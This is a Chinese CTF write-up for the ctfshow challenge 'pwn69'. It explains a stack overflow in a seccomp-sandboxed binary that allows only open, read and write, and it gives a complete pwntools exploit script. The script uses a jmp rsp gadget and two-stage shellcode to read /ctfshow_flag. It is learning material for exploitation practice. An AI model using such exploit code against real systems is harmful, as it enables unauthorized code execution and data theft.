pwn69

可以尝试用ORW读flag flag文件位置为/ctfshow_flag

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX unknown - GNU_STACK missing

    PIE:      No PIE (0x400000)

    Stack:    Executable

    RWX:      Has RWX segments                  

int64 fastcall main(int a1, char a2, char a3)

{

  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);

  func1();

  ignore();

  vulns();

  return 0LL;

}

          

其中mmap用于开辟shellcode空间

func1用了seccomp_rule_add,开了沙箱,使用seccomp-tools可以具体查看规则

sudo apt install gcc ruby-dev

gem install seccomp-tools

          

seccomp-tools dump ./pwn

可以看出只有orw是allow,其他都是kill

函数里还有一个后门函数

void sub_4009EE()

{

__asm { jmp rsp }

}

jmp rsp的作用是返回到栈顶,由于调用时是一个新的函数,所以开辟了新的栈,所以jmp rsp实际上是返回这条指令位置+8处。在栈可执行的情况下,可以用这个构造如下格式 shellcode +gap +jmp rsp +asm(sub rsp 某个数值,jmp rsp)

来跳转执行shellcode

此处长度是0x28+8=0x30

攻击脚本

          from pwncli import *

context(arch="amd64",log_level="debug")

elf=ELF('./pwn')

sh=remote("pwn.challenge.ctf.show",28257)

addr=0x123000

jmp_rsp=0x0000000000400A01

payload=asm(shellcraft.read(0,addr,0x100))+asm("mov rax,0x123000; jmp rax")

payload=payload.ljust(0x28,b'\x00')

payload+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")

          

sh.recvuntil(b'to do')

sh.sendline(payload)

sleep(0.2)

          

payload1 = shellcraft.open('/ctfshow_flag',0)

payload1 += shellcraft.read(3, addr, 100)

payload1 += shellcraft.write(1, addr, 100)

payload1=asm(payload1) 

#z()

sh.sendline(payload1)

sh.interactive()    

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。